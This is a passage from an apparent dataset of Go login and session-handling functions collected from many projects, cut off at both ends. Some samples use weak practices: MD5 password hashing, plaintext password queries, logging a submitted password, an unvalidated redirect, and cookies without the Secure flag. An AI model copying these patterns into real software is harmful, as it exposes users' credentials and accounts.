err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tresp[\\\"token\\\"] = token\\n\\tresponses.JSON(w, http.StatusOK, resp)\\n\\treturn\\n}\",\n \"func Login(c *gin.Context) {\\n\\tusername := c.PostForm(\\\"username\\\")\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\temail := c.PostForm(\\\"email\\\")\\n\\t//check if provided user credentials are valid or not\\n\\tif store.ValidUser(username, password, email) {\\n\\t\\ttoken := generateSessionToken()\\n\\t\\tc.SetCookie(\\\"token\\\", token, 3600, \\\"\\\", \\\"\\\", false, true)\\n\\t\\tc.Set(\\\"is_logged_in\\\", true)\\n\\t\\trender(c, gin.H{\\n\\t\\t\\t\\\"title\\\": \\\"Successful Login\\\"}, \\\"login-successful.html\\\")\\n\\t} else {\\n\\t\\tc.HTML(http.StatusBadRequest, \\\"login.html\\\", gin.H{\\n\\t\\t\\t\\\"ErrorTitle\\\": \\\"Login Failed\\\",\\n\\t\\t\\t\\\"ErrorMessage\\\": \\\"Invalid credentials provided\\\"})\\n\\t}\\n}\",\n \"func (a *Auth) Login(w http.ResponseWriter, r *http.Request, data *UserCred) {\\n\\tvar user, email, code string\\n\\n\\tif user = a.userstate.Username(r); user != \\\"\\\" {\\n\\t\\tif sid, ok := cookie.SecureCookie(\\n\\t\\t\\tr,\\n\\t\\t\\tsessionIDKey,\\n\\t\\t\\ta.userstate.CookieSecret(),\\n\\t\\t); ok {\\n\\t\\t\\tif a.userstate.CorrectPassword(user, sid) {\\n\\t\\t\\t\\ta.Session(w, r)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\ttiming := servertiming.FromContext(r.Context())\\n\\tm := timing.NewMetric(\\\"grpc\\\").WithDesc(\\\"PKI signature validation\\\").Start()\\n\\tconn, err := pb.New(r.Context(), a.addr)\\n\\tif err != nil {\\n\\t\\tutil.BadRequest(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\tdefer conn.Close()\\n\\tclient := pb.NewMetropolisServiceClient(conn)\\n\\tresp, err := client.VerifySignature(\\n\\t\\tr.Context(),\\n\\t\\t&pb.VerRequest{\\n\\t\\t\\tSignedXml: data.SignedXML,\\n\\t\\t\\tFlag: pb.VerFlag_AUTH,\\n\\t\\t},\\n\\t)\\n\\tm.Stop()\\n\\n\\tif resp.Status != pb.VerStatus_SUCCESS {\\n\\t\\terr := errors.New(resp.Message)\\n\\t\\tutil.BadRequestWith(w, r, err, resp.Description)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser = resp.Message\\n\\temail = data.EmailAddress\\n\\n\\tok, err := a.userstate.HasUser2(user)\\n\\tif err != nil {\\n\\t\\tutil.BadRequest(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\tif ok {\\n\\t\\ta.userstate.RemoveUser(user)\\n\\t}\\n\\n\\tcode, err = a.userstate.GenerateUniqueConfirmationCode()\\n\\tif err != nil {\\n\\t\\tutil.BadRequest(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\n\\ta.userstate.AddUser(user, code, email)\\n\\tcookie.SetSecureCookiePathWithFlags(\\n\\t\\tw,\\n\\t\\tsessionIDKey,\\n\\t\\tcode,\\n\\t\\ta.userstate.CookieTimeout(user),\\n\\t\\t\\\"/\\\",\\n\\t\\ta.userstate.CookieSecret(),\\n\\t\\tfalse,\\n\\t\\ttrue,\\n\\t)\\n\\n\\ta.userstate.Login(w, user)\\n\\tutil.OK(w, r)\\n}\",\n \"func Login(username, password string) error {\\n\\terr := validateCredentials(username, password)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsession := getSession(username, password)\\n\\tif session == nil {\\n\\t\\tfmt.Println(\\\"Unable to get session\\\")\\n\\t\\treturn errors.New(\\\"Unable to get session\\\")\\n\\t}\\n\\tfmt.Println(session)\\n\\n\\tuser := models.User{Username: username, Session: session}\\n\\terr = models.SaveUser(user)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func login(c *gin.Context) {\\n\\tvar loginDetails LoginDetails\\n\\tvar err error\\n\\n\\t// Get query params into object\\n\\tif err = c.ShouldBind(&loginDetails); err != nil {\\n\\t\\tprintln(err.Error())\\n\\t\\tc.Status(http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar passwordHash string\\n\\tvar id int\\n\\tsqlStatement := `SELECT id, password_hash FROM player WHERE email=LOWER($1) LIMIT 1;`\\n\\terr = db.QueryRow(sqlStatement, loginDetails.Email).Scan(&id, &passwordHash)\\n\\tif handleError(err, c) {\\n\\t\\treturn\\n\\t}\\n\\n\\tif bcrypt.CompareHashAndPassword([]byte(passwordHash), []byte(loginDetails.Password)) != nil {\\n\\t\\tprintln(\\\"Incorrect password\\\")\\n\\n\\t\\tc.AbortWithStatus(http.StatusNotFound)\\n\\t\\treturn\\n\\t}\\n\\n\\ttoken, err := CreateTokenInDB(id)\\n\\tif err != nil {\\n\\t\\tprintln(err.Error())\\n\\t\\tc.AbortWithStatus(http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Return token and user id\\n\\tretObj := PlayerToken{PlayerId: id, Token: token}\\n\\n\\tc.JSON(http.StatusOK, retObj)\\n}\",\n \"func checkLogin(c appengine.Context, rw http.ResponseWriter, req *http.Request) *user.User {\\n\\tu := user.Current(c)\\n\\tif u == nil {\\n\\t\\turl, err := user.LoginURL(c, req.URL.String())\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(rw, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\trw.Header().Set(\\\"Location\\\", url)\\n\\t\\trw.WriteHeader(http.StatusFound)\\n\\t\\treturn nil\\n\\t}\\n\\treturn u\\n}\",\n \"func Login(c *gin.Context) {\\n\\tphone := c.PostForm(\\\"phone\\\")\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\n\\t//find user\\n\\tusers, err := userModel.GetUsersByStrKey(\\\"phone\\\", phone)\\n\\tif err != nil {\\n\\t\\tc.JSON(http.StatusInternalServerError, gin.H{\\n\\t\\t\\t\\\"msg\\\": err.Error(),\\n\\t\\t})\\n\\t\\tlog.ErrorLog.Println(err)\\n\\t\\tc.Error(err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// if user is unregistered\\n\\tif len(users) == 0 {\\n\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"phone is unregistered\\\",\\n\\t\\t})\\n\\t\\tlog.ErrorLog.Println(\\\"phone is unregistered\\\")\\n\\t\\tc.Error(errors.New(\\\"phone is unregistered\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\tuser := users[0]\\n\\t// encrypt password with MD5\\n\\tpassword = util.MD5(password)\\n\\t// if password error\\n\\tif password != user.Password {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"phone or password is incorrect\\\",\\n\\t\\t})\\n\\t\\tlog.ErrorLog.Println(\\\"phone or password is incorrect\\\")\\n\\t\\tc.Error(errors.New(\\\"phone or password is incorrect\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\tsession := sessions.Default(c)\\n\\tsession.Set(\\\"userId\\\", user.Id)\\n\\terr = session.Save()\\n\\tif err != nil {\\n\\t\\tlog.ErrorLog.Println(err)\\n\\t\\tc.JSON(http.StatusInternalServerError, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"fail to generate session token\\\",\\n\\t\\t})\\n\\t\\tlog.ErrorLog.Println(\\\"fail to generate session token\\\")\\n\\t\\tc.Error(errors.New(\\\"fail to generate session token\\\"))\\n\\t} else {\\n\\t\\tuserJson, err := util.StructToJsonStr(user)\\n\\t\\tif err != nil {\\n\\t\\t\\tc.JSON(http.StatusInternalServerError, gin.H{\\n\\t\\t\\t\\t\\\"msg\\\": err.Error(),\\n\\t\\t\\t})\\n\\t\\t\\tlog.ErrorLog.Println(err)\\n\\t\\t\\tc.Error(err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"successfully login\\\",\\n\\t\\t\\t\\\"user\\\": userJson,\\n\\t\\t})\\n\\t\\tlog.InfoLog.Println(\\\"successfully login\\\")\\n\\t}\\n}\",\n \"func (uc UserController) Login(w http.ResponseWriter, r *http.Request) {\\n\\tif user := users.GetLoggedInUser(r); user != nil {\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusOK)\\n\\t\\treturn\\n\\t}\\n\\n\\temail, pass := r.FormValue(\\\"email\\\"), r.FormValue(\\\"password\\\")\\n\\tuser := users.CheckLoginInformation(email, pass)\\n\\n\\tif user == nil {\\n\\t\\thttp.Error(w, \\\"Incorrect username and password combination\\\", http.StatusUnauthorized)\\n\\t} else {\\n\\t\\tusers.LoginUser(w, r, user)\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusOK)\\n\\t}\\n}\",\n \"func (ctrl LoginController) ProcessLogin(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\\n\\tsession, _ := store.Get(r, \\\"session-id\\\")\\n\\tusername := r.PostFormValue(\\\"username\\\")\\n\\tpassword := r.PostFormValue(\\\"password\\\")\\n\\n\\tuser, _ := model.GetUserByUserName(username)\\n\\tv := new(Validator)\\n\\n\\tif !v.ValidateUsername(username) {\\n\\t\\tSessionFlash(v.err, w, r)\\n\\t\\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\\n\\t\\treturn\\n\\t}\\n\\n\\tif user.Username == \\\"\\\" || !CheckPasswordHash(password, user.Password) {\\n\\t\\tSessionFlash(messages.Error_username_or_password, w, r)\\n\\t\\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\\n\\t\\treturn\\n\\t}\\n\\n\\tsession.Values[\\\"username\\\"] = user.Username\\n\\tsession.Values[\\\"id\\\"] = user.ID\\n\\tsession.Save(r, w)\\n\\thttp.Redirect(w, r, URL_HOME, http.StatusMovedPermanently)\\n}\",\n \"func login(res http.ResponseWriter, req *http.Request, p httprouter.Params) {\\n\\tvar data map[string]string\\n\\n\\tresp, err := getBody(req)\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": \\\"Server Error\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\terr = json.Unmarshal(resp, &data)\\n\\tif err != nil {\\n\\t\\tlog.Panicln(\\\"login:\\\", err)\\n\\t}\\n\\n\\tusername := data[\\\"username\\\"]\\n\\tpassword := data[\\\"password\\\"]\\n\\tuser, err := getUser(username)\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 401, jsMap{\\\"status\\\": \\\"Authentication Failed\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\tsessID, err := authenticateUser(user, username, password)\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"login:\\\", err)\\n\\t\\twriteJSON(res, 401, jsMap{\\\"status\\\": \\\"Authentication Failed\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\tresponse := jsMap{\\n\\t\\t\\\"status\\\": \\\"OK\\\",\\n\\t\\t\\\"sessionID\\\": hex.EncodeToString(sessID),\\n\\t\\t\\\"address\\\": user.Address,\\n\\t}\\n\\n\\twriteJSON(res, 200, response)\\n}\",\n \"func (as *AdminServer) Login(w http.ResponseWriter, r *http.Request) {\\n\\tparams := struct {\\n\\t\\tUser models.User\\n\\t\\tTitle string\\n\\t\\tFlashes []interface{}\\n\\t\\tToken string\\n\\t}{Title: \\\"Login\\\", Token: csrf.Token(r)}\\n\\tsession := ctx.Get(r, \\\"session\\\").(*sessions.Session)\\n\\tswitch {\\n\\tcase r.Method == \\\"GET\\\":\\n\\t\\tparams.Flashes = session.Flashes()\\n\\t\\tsession.Save(r, w)\\n\\t\\ttemplates := template.New(\\\"template\\\")\\n\\t\\t_, err := templates.ParseFiles(\\\"templates/login.html\\\", \\\"templates/flashes.html\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(err)\\n\\t\\t}\\n\\t\\ttemplate.Must(templates, err).ExecuteTemplate(w, \\\"base\\\", params)\\n\\tcase r.Method == \\\"POST\\\":\\n\\t\\t// Find the user with the provided username\\n\\t\\tusername, password := r.FormValue(\\\"username\\\"), r.FormValue(\\\"password\\\")\\n\\t\\tu, err := models.GetUserByUsername(username)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(err)\\n\\t\\t\\tas.handleInvalidLogin(w, r, \\\"Invalid Username/Password\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\t// Validate the user's password\\n\\t\\terr = auth.ValidatePassword(password, u.Hash)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(err)\\n\\t\\t\\tas.handleInvalidLogin(w, r, \\\"Invalid Username/Password\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif u.AccountLocked {\\n\\t\\t\\tas.handleInvalidLogin(w, r, \\\"Account Locked\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tu.LastLogin = time.Now().UTC()\\n\\t\\terr = models.PutUser(&u)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(err)\\n\\t\\t}\\n\\t\\t// If we've logged in, save the session and redirect to the dashboard\\n\\t\\tsession.Values[\\\"id\\\"] = u.Id\\n\\t\\tsession.Save(r, w)\\n\\t\\tas.nextOrIndex(w, r)\\n\\t}\\n}\",\n \"func ValidateLogin(\\n\\tdb *gorm.DB,\\n\\tusername string,\\n\\tpassword string,\\n) (TblUser, error) {\\n\\tvar ret TblUser\\n\\n\\t// hash password\\n\\n\\terr := db.\\n\\t\\tWhere(\\\"Username = ?\\\", username).\\n\\t\\tWhere(\\\"Password = ?\\\", password).\\n\\t\\tFind(&ret).\\n\\t\\tError\\n\\n\\treturn ret, err\\n}\",\n \"func LoginUser(c *gin.Context) {\\n\\tvar json db.UserLoginForm\\n\\tsession := sessions.Default(c)\\n\\tif errs := c.ShouldBind(&json); errs != nil {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"Form doesn't bind.\\\",\\n\\t\\t\\t\\\"err\\\": errs.Error(),\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\tvar user db.Users\\n\\tif err := db.DB.Where(\\\"username = ? AND is_active = TRUE\\\", json.Username).\\n\\t\\tFirst(&user).Error; err != nil {\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"User not found in database.\\\",\\n\\t\\t\\t\\\"err\\\": err,\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\tif checkPasswordHash(json.Password, user.Password) {\\n\\t\\tsession.Clear()\\n\\t\\tsession.Set(\\\"userID\\\", user.ID)\\n\\t\\tsession.Set(\\\"username\\\", user.Username)\\n\\t\\tsession.Options(sessions.Options{\\n\\t\\t\\tMaxAge: 3600 * 12,\\n\\t\\t\\tPath: \\\"/\\\",\\n\\t\\t})\\n\\t\\terr := session.Save()\\n\\t\\tif err != nil {\\n\\t\\t\\tc.JSON(http.StatusInternalServerError, gin.H{\\n\\t\\t\\t\\t\\\"msg\\\": \\\"Failed to generate session token\\\",\\n\\t\\t\\t\\t\\\"err\\\": err,\\n\\t\\t\\t})\\n\\t\\t} else {\\n\\t\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\t\\\"msg\\\": user.Username,\\n\\t\\t\\t\\t\\\"err\\\": \\\"\\\",\\n\\t\\t\\t})\\n\\t\\t}\\n\\t} else {\\n\\t\\tc.JSON(http.StatusUnauthorized, gin.H{\\n\\t\\t\\t\\\"msg\\\": fmt.Sprintf(\\\"Check password hash failed for user %s\\\", user.Username),\\n\\t\\t\\t\\\"err\\\": user.Username,\\n\\t\\t})\\n\\t}\\n}\",\n \"func validLogin(username string, password string) (bool, uint) {\\n\\tuser, err := GetUserFromUsername(username)\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Login user query failed with error\\\", err.Error())\\n\\t\\treturn false, 0\\n\\t}\\n\\tfmt.Printf(\\n\\t\\t\\\"Login user query succeeded, comparing DB password %s to login password %s\\\\n\\\",\\n\\t\\tuser.PasswordHash,\\n\\t\\tpassword,\\n\\t)\\n\\tif core.PasswordEqualsHashed(password, user.PasswordHash) {\\n\\t\\treturn true, user.ID\\n\\t}\\n\\treturn false, 0\\n}\",\n \"func Login(c *gin.Context) {\\n\\tvar customerForm models.CustomerForm\\n\\tif err := c.ShouldBindJSON(&customerForm); err != nil {\\n\\t\\tc.JSON(http.StatusBadRequest, \\\"Incorrect user informations\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// Try to find user with this address\\n\\tcustomer := models.Customer{\\n\\t\\tEmail: customerForm.Email,\\n\\t}\\n\\tif err := repositories.FindCustomerByEmail(&customer); err != nil {\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"incorrect email or password.\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// Verify password\\n\\thashedPwd := services.HashPassword(customerForm.Password)\\n\\tif hashedPwd != customer.HashedPassword {\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"incorrect email or password.\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// Generate connection token\\n\\ttoken, err := services.GenerateToken(customer.Email)\\n\\tif err != nil {\\n\\t\\tc.JSON(http.StatusInternalServerError, \\\"Couldn't create your authorization\\\")\\n\\t\\treturn\\n\\t}\\n\\tvalidTime, _ := strconv.ParseInt(config.GoDotEnvVariable(\\\"TOKEN_VALID_DURATION\\\"), 10, 64)\\n\\n\\tc.SetCookie(\\\"token\\\", token, 60*int(validTime), \\\"/\\\", config.GoDotEnvVariable(\\\"DOMAIN\\\"), false, false)\\n\\tc.JSON(http.StatusOK, \\\"Logged in successfully\\\")\\n}\",\n \"func requireLogin(c *fiber.Ctx) error {\\n\\tcurrSession, err := sessionStore.Get(c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tuser := currSession.Get(\\\"User\\\")\\n\\tdefer currSession.Save()\\n\\n\\tif user == nil {\\n\\t\\t// This request is from a user that is not logged in.\\n\\t\\t// Send them to the login page.\\n\\t\\treturn c.Redirect(\\\"/login\\\")\\n\\t}\\n\\n\\t// If we got this far, the request is from a logged-in user.\\n\\t// Continue on to other middleware or routes.\\n\\treturn c.Next()\\n}\",\n \"func gwLogin(c *gin.Context) {\\n\\ts := getHostServer(c)\\n\\treqId := getRequestId(s, c)\\n\\tvar err error\\n\\tvar hasCheckPass = false\\n\\tvar checker = s.AuthParamChecker\\n\\tvar authParam AuthParameter\\n\\tfor _, resolver := range s.AuthParamResolvers {\\n\\t\\tauthParam = resolver.Resolve(c)\\n\\t\\tif err = checker.Check(authParam); err == nil {\\n\\t\\t\\thasCheckPass = true\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif !hasCheckPass {\\n\\t\\tc.JSON(http.StatusBadRequest, s.RespBodyBuildFunc(http.StatusBadRequest, reqId, err, nil))\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\n\\t// Login\\n\\tuser, err := s.AuthManager.Login(authParam)\\n\\tif err != nil || user.IsEmpty() {\\n\\t\\tc.JSON(http.StatusNotFound, s.RespBodyBuildFunc(http.StatusNotFound, reqId, err.Error(), nil))\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\tsid, credential, ok := encryptSid(s, authParam)\\n\\tif !ok {\\n\\t\\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \\\"Create session ID fail.\\\", nil))\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\tif err := s.SessionStateManager.Save(sid, user); err != nil {\\n\\t\\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \\\"Save session fail.\\\", err.Error()))\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\tvar userPerms []gin.H\\n\\tfor _, p := range user.Permissions {\\n\\t\\tuserPerms = append(userPerms, gin.H{\\n\\t\\t\\t\\\"Key\\\": p.Key,\\n\\t\\t\\t\\\"Name\\\": p.Name,\\n\\t\\t\\t\\\"Desc\\\": p.Descriptor,\\n\\t\\t})\\n\\t}\\n\\tcks := s.conf.Security.Auth.Cookie\\n\\texpiredAt := time.Duration(cks.MaxAge) * time.Second\\n\\tvar userRoles = gin.H{\\n\\t\\t\\\"Id\\\": 0,\\n\\t\\t\\\"name\\\": \\\"\\\",\\n\\t\\t\\\"desc\\\": \\\"\\\",\\n\\t}\\n\\tpayload := gin.H{\\n\\t\\t\\\"Credentials\\\": gin.H{\\n\\t\\t\\t\\\"Token\\\": credential,\\n\\t\\t\\t\\\"ExpiredAt\\\": time.Now().Add(expiredAt).Unix(),\\n\\t\\t},\\n\\t\\t\\\"Roles\\\": userRoles,\\n\\t\\t\\\"Permissions\\\": userPerms,\\n\\t}\\n\\tbody := s.RespBodyBuildFunc(0, reqId, nil, payload)\\n\\tc.SetCookie(cks.Key, credential, cks.MaxAge, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\\n\\tc.JSON(http.StatusOK, body)\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request, username string) error {\\n\\tsession, err := loggedUserSession.New(r, \\\"authenticated-user-session\\\")\\n\\tsession.Values[\\\"username\\\"] = username\\n\\tif err == nil {\\n\\t\\terr = session.Save(r, w)\\n\\t}\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\treturn errors.New(\\\"Error creating session\\\")\\n\\t}\\n\\treturn err\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request) {\\n\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\tuser := models.User{}\\n\\terr = json.Unmarshal(body, &user)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Prepare()\\n\\terr = user.Validate(\\\"login\\\")\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\n\\ttoken, err := auth.SignIn(user.Email, user.Password)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\tresponses.JSON(w, http.StatusOK, token)\\n}\",\n \"func (user *UService) Login(loginuser *model.User) *model.User {\\n\\tvar validuser model.User\\n\\tuser.DB.Debug().Where(\\\"username = ? and password = ?\\\", loginuser.Username, loginuser.Password).Find(&validuser)\\n\\tif validuser != (model.User{}) {\\n\\t\\treturn &validuser\\n\\t}\\n\\treturn nil\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request) {\\n\\tstore, err := pgstore.NewPGStore(os.Getenv(\\\"PGURL\\\"), key)\\n\\tcheck(err)\\n\\tdefer store.Close()\\n\\tsession, err := store.Get(r, \\\"scheduler-session\\\")\\n\\tcheck(err)\\n\\n\\tvar domain string\\n\\tif os.Getenv(\\\"GO_ENV\\\") == \\\"dev\\\" {\\n\\t\\tdomain = \\\"http://localhost:3000\\\"\\n\\t} else if os.Getenv(\\\"GO_ENV\\\") == \\\"test\\\" {\\n\\t\\tdomain = \\\"http://s3-sih-test.s3-website-us-west-1.amazonaws.com\\\"\\n\\t} else if os.Getenv(\\\"GO_ENV\\\") == \\\"prod\\\" {\\n\\t\\tdomain = \\\"https://schedulingishard.com\\\"\\n\\t}\\n\\t// Limit the sessions to 1 24-hour day\\n\\tsession.Options.MaxAge = 86400 * 1\\n\\tsession.Options.Domain = domain // Set to localhost for testing only. prod must be set to \\\"schedulingishard.com\\\"\\n\\tsession.Options.HttpOnly = true\\n\\n\\tcreds := DecodeCredentials(r)\\n\\t// Authenticate based on incoming http request\\n\\tif passwordsMatch(r, creds) != true {\\n\\t\\tlog.Printf(\\\"Bad password for member: %v\\\", creds.Email)\\n\\t\\tmsg := errorMessage{\\n\\t\\t\\tStatus: \\\"Failed to authenticate\\\",\\n\\t\\t\\tMessage: \\\"Incorrect username or password\\\",\\n\\t\\t}\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(http.StatusUnauthorized)\\n\\t\\t//http.Error(w, \\\"Incorrect username or password\\\", http.StatusUnauthorized)\\n\\t\\tjson.NewEncoder(w).Encode(msg)\\n\\t\\treturn\\n\\t}\\n\\t// Get the memberID based on the supplied email\\n\\tmemberID := models.GetMemberID(creds.Email)\\n\\tmemberName := models.GetMemberName(memberID)\\n\\tm := memberDetails{\\n\\t\\tStatus: \\\"OK\\\",\\n\\t\\tID: memberID,\\n\\t\\tName: memberName,\\n\\t\\tEmail: creds.Email,\\n\\t}\\n\\n\\t// Respond with the proper content type and the memberID\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tw.Header().Set(\\\"X-CSRF-Token\\\", csrf.Token(r))\\n\\t// Set cookie values and save\\n\\tsession.Values[\\\"authenticated\\\"] = true\\n\\tsession.Values[\\\"memberID\\\"] = m.ID\\n\\tif err = session.Save(r, w); err != nil {\\n\\t\\tlog.Printf(\\\"Error saving session: %v\\\", err)\\n\\t}\\n\\tjson.NewEncoder(w).Encode(m)\\n\\t// w.Write([]byte(memberID)) // Alternative to fprintf\\n}\",\n \"func LoginHandler(w http.ResponseWriter, r *http.Request) {\\n\\t// Initialize the fields that we need in the custom struct.\\n\\ttype Context struct {\\n\\t\\tErr string\\n\\t\\tErrExists bool\\n\\t\\tOTPRequired bool\\n\\t\\tUsername string\\n\\t\\tPassword string\\n\\t}\\n\\t// Call the Context struct.\\n\\tc := Context{}\\n\\n\\t// If the request method is POST\\n\\tif r.Method == \\\"POST\\\" {\\n\\t\\t// This is a login request from the user.\\n\\t\\tusername := r.PostFormValue(\\\"username\\\")\\n\\t\\tusername = strings.TrimSpace(strings.ToLower(username))\\n\\t\\tpassword := r.PostFormValue(\\\"password\\\")\\n\\t\\totp := r.PostFormValue(\\\"otp\\\")\\n\\n\\t\\t// Login2FA login using username, password and otp for users with OTPRequired = true.\\n\\t\\tsession := uadmin.Login2FA(r, username, password, otp)\\n\\n\\t\\t// Check whether the session returned is nil or the user is not active.\\n\\t\\tif session == nil || !session.User.Active {\\n\\t\\t\\t/* Assign the login validation here that will be used for UI displaying. ErrExists and\\n\\t\\t\\tErr fields are coming from the Context struct. */\\n\\t\\t\\tc.ErrExists = true\\n\\t\\t\\tc.Err = \\\"Invalid username/password or inactive user\\\"\\n\\n\\t\\t} else {\\n\\t\\t\\t// If the user has OTPRequired enabled, it will print the username and OTP in the terminal.\\n\\t\\t\\tif session.PendingOTP {\\n\\t\\t\\t\\tuadmin.Trail(uadmin.INFO, \\\"User: %s OTP: %s\\\", session.User.Username, session.User.GetOTP())\\n\\t\\t\\t}\\n\\n\\t\\t\\t/* As long as the username and password is valid, it will create a session cookie in the\\n\\t\\t\\tbrowser. */\\n\\t\\t\\tcookie, _ := r.Cookie(\\\"session\\\")\\n\\t\\t\\tif cookie == nil {\\n\\t\\t\\t\\tcookie = &http.Cookie{}\\n\\t\\t\\t}\\n\\t\\t\\tcookie.Name = \\\"session\\\"\\n\\t\\t\\tcookie.Value = session.Key\\n\\t\\t\\tcookie.Path = \\\"/\\\"\\n\\t\\t\\tcookie.SameSite = http.SameSiteStrictMode\\n\\t\\t\\thttp.SetCookie(w, cookie)\\n\\n\\t\\t\\t// Check for OTP\\n\\t\\t\\tif session.PendingOTP {\\n\\t\\t\\t\\t/* After the user enters a valid username and password in the first part of the form, these\\n\\t\\t\\t\\tvalues will be used on the second part in the UI where the OTP input field will be\\n\\t\\t\\t\\tdisplayed afterwards. */\\n\\t\\t\\t\\tc.Username = username\\n\\t\\t\\t\\tc.Password = password\\n\\t\\t\\t\\tc.OTPRequired = true\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// If the next value is empty, redirect the page that omits the logout keyword in the last part.\\n\\t\\t\\t\\tif r.URL.Query().Get(\\\"next\\\") == \\\"\\\" {\\n\\t\\t\\t\\t\\thttp.Redirect(w, r, strings.TrimSuffix(r.RequestURI, \\\"logout\\\"), http.StatusSeeOther)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Redirect to the page depending on the value of the next.\\n\\t\\t\\t\\thttp.Redirect(w, r, r.URL.Query().Get(\\\"next\\\"), http.StatusSeeOther)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Render the login filepath and pass the context data object to the HTML file.\\n\\tuadmin.RenderHTML(w, r, \\\"templates/login.html\\\", c)\\n}\",\n \"func (h *auth) Login(c echo.Context) error {\\n\\t// Filter params\\n\\tvar params service.LoginParams\\n\\tif err := c.Bind(&params); err != nil {\\n\\t\\tlog.Println(\\\"Could not get parameters:\\\", err)\\n\\t\\treturn c.JSON(http.StatusBadRequest, sferror.New(\\\"Could not get credentials.\\\"))\\n\\t}\\n\\tparams.UserAgent = c.Request().UserAgent()\\n\\tparams.Session = currentSession(c)\\n\\n\\tif params.Email == \\\"\\\" || params.Password == \\\"\\\" {\\n\\t\\treturn c.JSON(http.StatusBadRequest, sferror.New(\\\"No email or password provided.\\\"))\\n\\t}\\n\\n\\treturn h.login(c, 